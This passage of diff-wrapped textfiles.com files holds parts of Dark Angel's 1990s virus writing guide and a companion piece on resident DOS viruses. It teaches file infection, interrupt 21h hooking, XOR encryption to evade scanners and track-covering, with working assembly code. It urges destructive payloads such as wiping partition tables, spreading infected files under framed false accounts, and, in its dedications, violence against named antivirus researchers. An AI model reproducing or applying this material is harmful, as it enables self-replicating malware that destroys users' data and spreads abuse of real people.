mov ds,bx ; ds holds the area to build the MCB
inc bx ; es now holds the segment of the memory area controlled
mov es,bx ; by the MCB
mov byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain
; Note: you can have more than one MCB chain
mov word ptr ds:[1],8 ; Mark DOS as the owner
mov word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field
There is yet another method involving direct manipulation.
; Step 1) Shrink the carrier program's memory allocation
; Note that rounding is to the nearest 1024 bytes and there is no
; addition for an MCB
sub ds:[3],((endvirus-startvirus+1023)/1024)*64
; Step 2) Mark the carrier program's MCB as the last in the chain
mov byte ptr ds:[1],'Z'
; Step 3) Alter the program's top of memory field in the PSP
sub word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64
; Step 4) Calculate the first usable segment
mov es,word ptr ds:[12h]
; Step 5) Shrink the total memory as held in BIOS
; Memory location 0:413h holds the total system memory in K
xor ax,ax
mov ds,ax
sub ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size
This method is great because it is simple and short. No MCB needs to be
created because DOS will no longer allocate memory held by the virus. The
modification of the field in the BIOS memory area guarantees this.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COPY THE VIRUS TO HIGH MEMORY
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This is ridiculously easy to do. If ES holds the high memory segment, DS
holds CS, and BP holds the delta offset, then the following code will do:
lea si,[bp+offset startvirus]
xor di,di ; destination @ 0
mov cx,(endvirus-startvirus)/2
rep movsw ; Copy away, use words for speed
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SWAP INTERRUPT VECTORS
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
There are, once again, two ways to do this; via DOS or directly. Almost
every programmer worth his salt has played with interrupt vectors at one
time or another. Via DOS:
push es ; es->high memory
pop ds ; ds->high memory
mov ax,3521h ; get old int 21h handler
int 21h ; to es:bx
mov word ptr ds:oldint21,bx ; save it
mov word ptr ds:oldint21+2,es
mov dx,offset int21 ; ds:dx->new int 21h handler in virus
mov ax,2521h ; set handler
int 21h
And direct manipulation:
xor ax,ax
mov ds,ax
lds bx,ds:[21h*4]
mov word ptr es:oldint21,bx
mov word ptr es:oldint21+2,ds
mov ds,ax
mov ds:[21h*4],offset int21
mov ds:[21h*4+2],es
Delta offset calculations are not needed since the location of the
variables is known. This is because the virus is always loaded into high
memory starting in offset 0.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INTERRUPT HANDLER
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The interrupt handler intercepts function calls to DOS and waylays them.
The interrupt handler typically begins with a check for a call to the
installation check. For example:
int21:
cmp ax,9999h ; installation check?
jnz not_installation_check
xchg ax,bx ; return bx = 9999h if installed
iret ; exit interrupt handler
not_installation_check:
; rest of interrupt handler goes here
With this out of the way, the virus can trap whichever DOS functions it
wishes. Generally the most effective function to trap is execute
(ax=4b00h), as the most commonly executed files will be infected. Another
function to trap, albeit requiring more work, is handle close. This will
infect on copies, viewings, patchings, etc. With some functions,
prechaining is desired; others, postchaining. Use common sense. If the
function destroys the filename pointer, then use prechaining. If the
function needs to be completed before infection can take place,
postchaining should be used. Prechaining is simple:
pushf ; simulate an int 21h call
call dword ptr cs:oldint21
; The following code ensures that the flags will be properly set upon
; return to the caller
pushf
push bp
push ax
; flags [bp+10]
; calling CS:IP [bp+6]
; flags new [bp+4]
; bp [bp+2]
; ax [bp]
mov bp, sp ; setup stack frame
mov ax, [bp+4] ; get new flags
mov [bp+10], ax; replace the old with the new
pop ax ; restore stack
pop bp
popf
To exit the interrupt handler after prechaining, use an iret statement
rather than a retn or retf. Postchaining is even simpler:
jmp dword ptr cs:oldint21 ; this never returns to the virus int handler
When leaving the interrupt handler, make sure that the stack is not
unbalanced and that the registers were not altered. Save the registers
right after prechaining and long before postchaining.
Infection in a resident virus is essentially the same as that in a
nonresident virus. The only difference occurs when the interrupt handler
traps one of the functions used in the infection routine. For example, if
handle close is trapped, then the infection routine must replace the handle
close int 21h call with a call to the original interrupt 21h handler, a la:
pushf
call dword ptr cs:oldint21
It is also necessary to handle encryption in another manner with a resident
virus. In the nonresident virus, it was not necessary to preserve the code
at all times. However, it is desirable to keep the interrupt handler(s)
decrypted, even when infecting. Therefore, the virus should keep two
copies of itself in memory, one as code and one as data. The encryptor
should encrypt the secondary copy of the virus, thereby leaving the
interrupt handler(s) alone. This is especially important if the virus
traps other interrupts such as int 9h or int 13h.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
A THEORY ON RESIDENT VIRUSES
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Resident viruses can typically be divided into two categories; slow and
fast infectors. They each have their own advantages and disadvantages.
Slow infectors do not infect except in the case of a file creation. This
infector traps file creates and infects upon the closing of the file. This
type of virus infects on new file creations and copying of files. The
disadvantage is that the virus spreads slowly. This disadvantage is also
an advantage, as this may keep it undetected for a long time. Although
slow infectors sound ineffective, in reality they can work well. Infection
on file creations means that checksum/CRC virus detectors won't be able to
checksum/CRC the file until after it has been infected. Additionally,
files are often copied from one directory to another after testing. So
this method can work.
Fast infectors infect on executes. This type of virus will immediately
attack commonly used files, ensuring the continual residency of the virus
in subsequent boots. This is the primary advantage, but it is also the
primary disadvantage. The infector works so rapidly that the user may
quickly detect a discrepancy with the system, especially if the virus does
not utilise any stealth techniques.
Of course, there is no "better" way. It is a matter of personal
preference. The vast majority of viruses today are fast infectors,
although slow infectors are beginning to appear with greater frequency.
If the virus is to infect on a create or open, it first must copy the
filename to a buffer, execute the call, and save the handle. The virus
must then wait for a handle close corresponding to that handle and infect
using the filename stored in the buffer. This is the simplest method of
infecting after a handle close without delving into DOS internals.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IF YOU DON'T UNDERSTAND IT YET
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
don't despair; it will come after some time and much practise. You will
soon find that resident viruses are easier to code than nonresident
viruses. That's all for this installment, but be sure to grab the next
one.

447
textfiles.com/virus/ps_vir1.vir Normal file
View File

@@ -0,0 +1,447 @@
//==// // // /|| // //==== //==// //| //
// // // // //|| // // // // //|| //
//==// //==// //=|| // // // // // || //
// // // // || // // // // // ||//
// // // // || //==== //==== //==// // ||/
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DISCLAIMER: The author hereby disclaims himself
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DEDICATION: This was written to make the lives
of scum such as Patty Hoffman, John McAffee,
and Ross Greenberg a living hell.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
OTHER STUFF: Thanks go to The Shade of Sorrow,
Demogorgon, and Orion Rouge on their comments
(which I occasionally listened to!). Thanks
also to Hellraiser, who gave me an example of
some virus source code (his own, of course).
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Dark Angel's Phunky Virus Writing Guide
---- ------- ------ ----- ------- -----
Virii are wondrous creations written for the sole purpose of spreading and
destroying the systems of unsuspecting fools. This eliminates the systems
of simpletons who can't tell that there is a problem when a 100 byte file
suddenly blossoms into a 1,000 byte file. Duh. These low-lifes do not
deserve to exist, so it is our sacred duty to wipe their hard drives off
the face of the Earth. It is a simple matter of speeding along survival of
the fittest.
Why did I create this guide? After writing several virii, I have noticed
that virus writers generally learn how to write virii either on their own
or by examining the disassembled code of other virii. There is an
incredible lack of information on the subject. Even books published by
morons such as Burger are, at best, sketchy on how to create a virus. This
guide will show you what it takes to write a virus and also will give you a
plethora of source code to include in your own virii.
Virus writing is not as hard as you might first imagine. To write an
effective virus, however, you *must* know assembly language. Short,
compact code are hallmarks of assembly language and these are desirable
characteristics of virii. However, it is *not* necessary to write in pure
assembly. C may also be used, as it allows almost total control of the
system while generating relatively compact code (if you stay away from the
library functions). However, you still must access the interrupts, so
assembly knowledge is still required. However, it is still best to stick
with pure assembly, since most operations are more easily coded in
assembly. If you do not know assembly, I would recommend picking up a copy
of The Microsoft Macro Assembler Bible (Nabajyoti Barkakati, ISBN #: 0-672-
22659-6). It is an easy-to-follow book covering assembly in great detail.
Also get yourself a copy of Undocumented DOS (Schulman, et al, ISBN #0-201-
57064-5), as it is very helpful.
The question of which compiler to use arises often. I suggest using
Borland Turbo Assembler and/or Borland C++. I do not have a copy of
Zortech C (it was too large to download), but I would suspect that it is
also a good choice. Stay away from Microsoft compilers, as they are not as
flexible nor as efficient as those of other vendors.
A few more items round out the list of tools helpful in constructing virii.
The latest version of Norton Utilities is one of the most powerful programs
available, and is immeasurably helpful. MAKE SURE YOU HAVE A COPY! You
can find it on any decent board. It can be used during every step of the
process, from the writing to the testing. A good debugger helps. Memory
management utilities such as MAPMEM, PMAP, and MARK/RELEASE, are
invaluable, especially when coding TSR virii. Sourcer, the commenting
disassembler, is useful when you wish to examine the code of other virii
(this is a good place to get ideas/techniques for your virus).
Now that you have your tools, you are ready to create a work of art
designed to smash the systems of cretins. There are three types of virii:
1) Tiny virii (under 500 bytes) which are designed to be undetectable
due to their small size. TINY is one such virus. They are
generally very simple because their code length is so limited.
2) Large virii (over 1,500 bytes) which are designed to be
undetectable because they cover their tracks very well (all that
code DOES have a use!). The best example of this is the Whale
virus, which is perhaps the best 'Stealth' virus in existence.
3) Other virii which are not designed to be hidden at all (the writers
don't give a shit). The common virus is like this. All
overwriting virii are in this category.
You must decide which kind of virus you wish to write. I will mostly be
discussing the second type (Stealth virii). However, many of the
techniques discribed may be easily applied to the first type (tiny virii).
However, tiny virii generally do not have many of the "features" of larger
virii, such as directory traversal. The third type is more of a
replicating trojan-type, and will warrant a brief (very, very brief!)
discussion later.
A virus may be divided into three parts: the replicator, the concealer, and
the bomb. The replicator part controls the spread of the virus to other
files, the concealer keeps the virus from being detected, and the bomb only
executes when the activation conditions of the virus (more on that later)
are satisfied.
-=-=-=-=-=-=-=-
THE REPLICATOR
-=-=-=-=-=-=-=-
The job of the replicator is to spread the virus throughout the system of
the clod who has caught the virus. How does it do this without destroying
the file it infects? The easiest type of replicator infects COM files. It
first saves the first few bytes of the infected file. It then copies a
small portion of its code to the beginning of the file, and the rest to the
end.
+----------------+ +------------+
| P1 | P2 | | V1 | V2 |
+----------------+ +------------+
The uninfected file The virus code
In the diagram, P1 is part 1 of the file, P2 is part 2 of the file, and V1
and V2 are parts 1 and 2 of the virus. Note that the size of P1 should be
the same as the size of V1, but the size of P2 doesn't necessarily have to
be the same size as V2. The virus first saves P1 and copies it to the
either 1) the end of the file or 2) inside the code of the virus. Let's
assume it copies the code to the end of the file. The file now looks like:
+---------------------+
| P1 | P2 | P1 |
+---------------------+
Then, the virus copies the first part of itself to the beginning of the
file.
+---------------------+
| V1 | P2 | P1 |
+---------------------+
Finally, the virus copies the second part of itself to the end of the file.
The final, infected file looks like this:
+-----------------------------+
| V1 | P2 | P1 | V2 |
+-----------------------------+
The question is: What the fuck do V1 and V2 do? V1 transfers control of
the program to V2. The code to do this is simple.
JMP FAR PTR Duh ; Takes four bytes
Duh DW V2_Start ; Takes two bytes
Duh is a far pointer (Segment:Offset) pointing to the first instruction of
V2. Note that the value of Duh must be changed to reflect the length of
the file that is infected. For example, if the original size of the
program is 79 bytes, Duh must be changed so that the instruction at
CS:[155h] is executed. The value of Duh is obtained by adding the length
of V1, the original size of the infected file, and 256 (to account for the
PSP). In this case, V1 = 6 and P1 + P2 = 79, so 6 + 79 + 256 = 341 decimal
(155 hex).
An alternate, albeit more difficult to understand, method follows:
DB 1101001b ; Code for JMP (2 byte-displacement)
Duh DW V2_Start - OFFSET Duh ; 2 byte displacement
This inserts the jump offset directly into the code following the jump
instruction. You could also replace the second line with
DW V2_Start - $
which accomplishes the same task.
V2 contains the rest of the code, i.e. the stuff that does everything else.
The last part of V2 copies P1 over V1 (in memory, not on disk) and then
transfers control to the beginning of the file (in memory). The original
program will then run happily as if nothing happened. The code to do this
is also very simple.
MOV SI, V2_START ; V2_START is a LABEL marking where V2 starts
SUB SI, V1_LENGTH ; Go back to where P1 is stored
MOV DI, 0100h ; All COM files are loaded @ CS:[100h] in memory
MOV CX, V1_LENGTH ; Move CX bytes
REP MOVSB ; DS:[SI] -> ES:[DI]
MOV DI, 0100h
JMP DI
This code assumes that P1 is located just before V2, as in:
P1_Stored_Here:
.
.
.
V2_Start:
It also assumes ES equals CS. If these assumptions are false, change the
code accordingly. Here is an example:
PUSH CS ; Store CS
POP ES ; and move it to ES
; Note MOV ES, CS is not a valid instruction
MOV SI, P1_START ; Move from whereever P1 is stored
MOV DI, 0100h ; to CS:[100h]
MOV CX, V1_LENGTH
REP MOVSB
MOV DI, 0100h
JMP DI
This code first moves CS into ES and then sets the source pointer of MOVSB
to where P1 is located. Remember that this is all taking place in memory,
so you need the OFFSET of P1, not just the physical location in the file.
The offset of P1 is 100h higher than the physical file location, as COM
files are loaded starting from CS:[100h].
So here's a summary of the parts of the virus and location labels:
V1_Start:
JMP FAR PTR Duh
Duh DW V2_Start
V1_End:
P2_Start:
P2_End:
P1_Start:
; First part of the program stored here for future use
P1_End:
V2_Start:
; Real Stuff
V2_End:
V1_Length EQU V1_End - V1_Start
Alternatively, you could store P1 in V2 as follows:
V2_Start:
P1_Start:
P1_End:
V2_End:
That's all there is to infecting a COM file without destroying it! Simple,
no? EXE files, however, are a little tougher to infect without rendering
them inexecutable - I will cover this topic in a later file.
Now let us turn our attention back to the replicator portion of the virus.
The steps are outlined below:
1) Find a file to infect
2) Check if it is already infected
3) If so, go back to 1
4) Infect it
5) If infected enough, quit
6) Otherwise, go back to 1
Finding a file to infect is a simple matter of writing a directory
traversal procedure and issuing FINDFIRST and FINDNEXT calls to find
possible files to infect. Once you find the file, open it and read the
first few bytes. If they are the same as the first few bytes of V1, then
the file is already infected. If the first bytes of V1 are not unique to
your virus, change it so that they are. It is *extremely* important that
your virus doesn't reinfect the same files, since that was how Jerusalem
was first detected. If the file wasn't already infected, then infect it!
Infection should take the following steps:
1) Change the file attributes to nothing.
2) Save the file date/time stamps.
3) Close the file.
4) Open it again in read/write mode.
5) Save P1 and append it to the end of the file.
6) Copy V1 to the beginning, but change the offset which it JMPs to so
it transfers control correctly. See the previous part on infection.
7) Append V2 to the end of the file.
8) Restore file attributes/date/time.
You should keep a counter of the number of files infected during this run.
If the number exceeds, say three, then stop. It is better to infect slowly
then to give yourself away by infecting the entire drive at once.
You must be sure to cover your tracks when you infect a file. Save the
file's original date/time/attributes and restore them when you are
finished. THIS IS VERY IMPORTANT! It takes about 50 to 75 bytes of code,
probably less, to do these few simple things which can do wonders for the
concealment of your program.
I will include code for the directory traversal function, as well as other
parts of the replicator in the next installment of my phunky guide.
-=-=-=-=-
CONCEALER
-=-=-=-=-
This is the part which conceals the program from notice by the everyday
user and virus scanner. The simplest form of concealment is the encryptor.
The code for a simple XOR encryption system follows:
encrypt_val db ?
decrypt:
encrypt:
mov ah, encrypt_val
mov cx, part_to_encrypt_end - part_to_encrypt_start
mov si, part_to_encrypt_start
mov di, si
xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb ; AL -> ES:[DI]
loop xor_loop
ret
Note the encryption and decryption procedures are the same. This is due to
the weird nature of XOR. You can CALL these procedures from anywhere in
the program, but make sure you do not call it from a place within the area
to be encrypted, as the program will crash. When writing the virus, set
the encryption value to 0. part_to_encrypt_start and part_to_encrypt_end
sandwich the area you wish to encrypt. Use a CALL decrypt in the beginning
of V2 to unencrypt the file so your program can run. When infecting a
file, first change the encrypt_val, then CALL encrypt, then write V2 to the
end of the file, and CALL decrypt. MAKE SURE THIS PART DOES NOT LIE IN THE
AREA TO BE ENCRYPTED!!!
This is how V2 would look with the concealer:
V2_Start:
Concealer_Start:
.
.
.
Concealer_End:
Replicator_Start:
.
.
.
Replicator_End:
Part_To_Encrypt_Start:
.
.
.
Part_To_Encrypt_End:
V2_End:
Alternatively, you could move parts of the unencrypted stuff between
Part_To_Encrypt_End and V2_End.
The value of encryption is readily apparent. Encryption makes it harder
for virus scanners to locate your virus. It also hides some text strings
located in your program. It is the easiest and shortest way to hide your
virus.
Encryption is only one form of concealment. At least one other virus hooks
into the DOS interrupts and alters the output of DIR so the file sizes
appear normal. Another concealment scheme (for TSR virii) alters DOS so
memory utilities do not detect the virus. Loading the virus in certain
parts of memory allow it to survive warm reboots. There are many stealth
techniques, limited only by the virus writer's imagination.
-=-=-=-=-
THE BOMB
-=-=-=-=-
So now all the boring stuff is over. The nastiness is contained here. The
bomb part of the virus does all the deletion/slowdown/etc which make virii
so annoying. Set some activation conditions of the virus. This can be
anything, ranging from when it's your birthday to when the virus has
infected 100 files. When these conditions are met, then your virus does
the good stuff. Some suggestions of possible bombs:
1) System slowdown - easily handled by trapping an interrupt and
causing a delay when it activates.
2) File deletion - Delete all ZIP files on the drive.
3) Message display - Display a nice message saying something to the
effect of "You are fucked."
4) Killing/Replacing the Partition Table/Boot Sector/FAT of the hard
drive - This is very nasty, as most dimwits cannot fix this.
This is, of course, the fun part of writing a virus, so be original!
-=-=-=-=-=-=-=-
OFFSET PROBLEMS
-=-=-=-=-=-=-=-
There is one caveat regarding calculation of offsets. After you infect a
file, the locations of variables change. You MUST account for this. All
relative offsets can stay the same, but you must add the file size to the
absolute offsets or your program will not work. This is the most tricky
part of writing virii and taking these into account can often greatly
increase the size of a virus. THIS IS VERY IMPORTANT AND YOU SHOULD BE
SURE TO UNDERSTAND THIS BEFORE ATTEMPTING TO WRITE A NONOVERWRITING VIRUS!
If you don't, you'll get fucked over and your virus WILL NOT WORK! One
entire part of the guide will be devoted to this subject.
-=-=-=-
TESTING
-=-=-=-
Testing virii is a dangerous yet essential part of the virus creation
process. This is to make certain that people *will* be hit by the virus
and, hopefully, wiped out. Test thoroughly and make sure it activates
under the conditions. It would be great if everyone had a second computer
to test their virii out, but, of course, this is not the case. So it is
ESSENTIAL that you keep BACKUPS of your files, partition, boot record, and
FAT. Norton is handy in this doing this. Do NOT disregard this advice
(even though I know that you will anyway) because you WILL be hit by your
own virii. When I wrote my first virus, my system was taken down for two
days because I didn't have good backups. Luckily, the virus was not overly
destructive. BACKUPS MAKE SENSE! LEECH A BACKUP PROGRAM FROM YOUR LOCAL
PIRATE BOARD! I find a RamDrive is often helpful in testing virii, as the
damage is not permanent. RamDrives are also useful for testing trojans,
but that is the topic of another file...
-=-=-=-=-=-=-
DISTRIBUTION
-=-=-=-=-=-=-
This is another fun part of virus writing. It involves sending your
brilliantly-written program through the phone lines to your local,
unsuspecting bulletin boards. What you should do is infect a file that
actually does something (leech a useful utility from another board), infect
it, and upload it to a place where it will be downloaded by users all over.
The best thing is that it won't be detected by puny scanner-wanna-bes by
McAffee, since it is new! Oh yeah, make sure you are using a false account
(duh). Better yet, make a false account with the name/phone number of
someone you don't like and upload the infected file under the his name.
You can call back from time to time and use a door such as ZDoor to check
the spread of the virus. The more who download, the more who share in the
experience of your virus!
I promised a brief section on overwriting virii, so here it is...
-=-=-=-=-=-=-=-=-
OVERWRITING VIRII
-=-=-=-=-=-=-=-=-
All these virii do is spread throughout the system. They render the
infected files inexecutable, so they are easily detected. It is simple to
write one:
+-------------+ +-----+ +-------------+
| Program | + |Virus| = |Virus|am |
+-------------+ +-----+ +-------------+
These virii are simple little hacks, but pretty worthless because of their
easy detectability. Enuff said!
-=-=-=-=-=-=-=-=-=-=-=-=-
WELL, THAT JUST ABOUT...
-=-=-=-=-=-=-=-=-=-=-=-=-
wraps it up for this installment of Dark Angel's Phunky virus writing
guide. There will (hopefully) be future issues where I discuss more about
virii and include much more source code (mo' source!). Till then, happy
coding!
Downloaded From P-80 International Information Systems 304-744-2253

596
textfiles.com/virus/ps_vir2.vir Normal file
View File

@@ -0,0 +1,596 @@
//==// // // /|| // //==== //==// //| //
// // // // //|| // // // // //|| //
//==// //==// //=|| // // // // // || //
// // // // || // // // // // ||//
// // // // || //==== //==== //==// // ||/
/==== // // // /==== /| /|
// // // // // //| //|
===\ // // // ===\ //|| //||
// // \\ // // // ||// ||
====/ // \\ // ====/ // ||/ ||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DISCLAIMER: Pretend you see a disclaimer here.
99.44% of the code guaranteed to work.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DEDICATION: Please try your best to kill those
who made this possible, especially that dumb
bitch who doesn't know her own name (Patty),
and her lover Ross M. Greenberg.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GREETS -N- STUFF: Greets go to all the members
of PHALCON/SKISM. I wish to give buckets o'
thanks to Hellraiser, Garbageheap, and Demo-
gorgon. No thanks this time to Orion Rouge,
the godly master of idiocy.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Dark Angel's Chunky Virus Writing Guide
<20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INSTALLMENT II: THE REPLICATOR
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
In the last installment of my Virus Writing Guide, I explained the various
parts of a virus and went into a brief discussion about each. In this
issue, I shall devote all my attention towards the replicator portion of
the virus. I promised code and code I shall present.
However, I shall digress for a moment because it has come to my attention
that some mutant copies of the first installment were inadvertently
released. These copies did not contain a vital section concerning the
calculation of offsets.
You never know where your variables and code are going to wind up in
memory. If you think a bit, this should be pretty obvious. Since you are
attaching the virus to the end of a program, the location in memory is
going to be changed, i.e. it will be larger by the size of the infected
program. So, to compensate, we must take the change in offset from the
original virus, or the delta offset, and add that to all references to
variables.
Instructions that use displacement, i.e. relative offsets, need not be
changed. These instructions are the JA, JB, JZ class of instructions, JMP
SHORT, JMP label, and CALL. Thus, whenever possible use these in favor of,
say, JMP FAR PTR.
Suppose in the following examples, si is somehow loaded with the delta
offset.
Replace
mov ax, counter
With
mov ax, word ptr [si+offset counter]
Replace
mov dx, offset message
With
lea dx, [si+offset message]
You may be asking, "how the farg am I supposed to find the delta offset!?"
It is simple enough:
call setup
setup:
pop si
sub si, offset setup
An explanation of the above fragment is in order. CALL setup pushes the
location of the next instruction, i.e. offset setup, onto the stack. Next,
this location is POPed into si. Finally, the ORIGINAL offset of setup
(calculated at compile-time) is subtracted from si, giving you the delta
offset. In the original virus, the delta offset will be 0, i.e. the new
location of setup equals the old location of setup.
It is often preferable to use bp as your delta offset, since si is used in
string instructions. Use whichever you like. I'll randomly switch between
the two as suits my mood.
Now back to the other stuff...
A biological virus is a parasitic "organism" which uses its host to spread
itself. It must keep the host alive to keep itself "alive." Only when it
has spread everywhere will the host die a painful, horrible death. The
modern electronic virus is no different. It attaches itself to a host
system and reproduces until the entire system is fucked. It then proceeds
and neatly wrecks the system of the dimwit who caught the virus.
Replication is what distinguishes a virus from a simple trojan. Anybody
can write a trojan, but a virus is much more elegant. It acts almost
invisibly, and catches the victim off-guard when it finally surfaces. The
first question is, of course, how does a virus spread? Both COM and EXE
infections (along with sample infection routines) shall be presented.
There are two major approaches to virii: runtime and TSR. Runtime virii
infect, yup, you guessed it, when the infected program is run, while TSR
virii go resident when the infected programs are run and hook the
interrupts and infect when a file is run, open, closed, and/or upon
termination (i.e. INT 20h, INT 21h/41h). There are advantages and
disadvantages to each. Runtime virii are harder to detect as they don't
show up on memory maps, but, on the other hand, the delay while it searches
for and infects a file may give it away. TSR virii, if not properly done,
can be easily spotted by utilities such as MAPMEM, PMAP, etc, but are, in
general, smaller since they don't need a function to search for files to
infect. They are also faster than runtime virii, also because they don't
have to search for files to infect. I shall cover runtime virii here, and
TSR virii in a later installment.
Here is a summary of the infection procedure:
1) Find a file to infect.
2) Check if it meets the infection criteria.
3) See if it is already infected and if so, go back to 1.
4) Otherwise, infect the file.
5) Cover your tracks.
I shall go through each of these steps and present sample code for each.
Note that although a complete virus can be built from the information
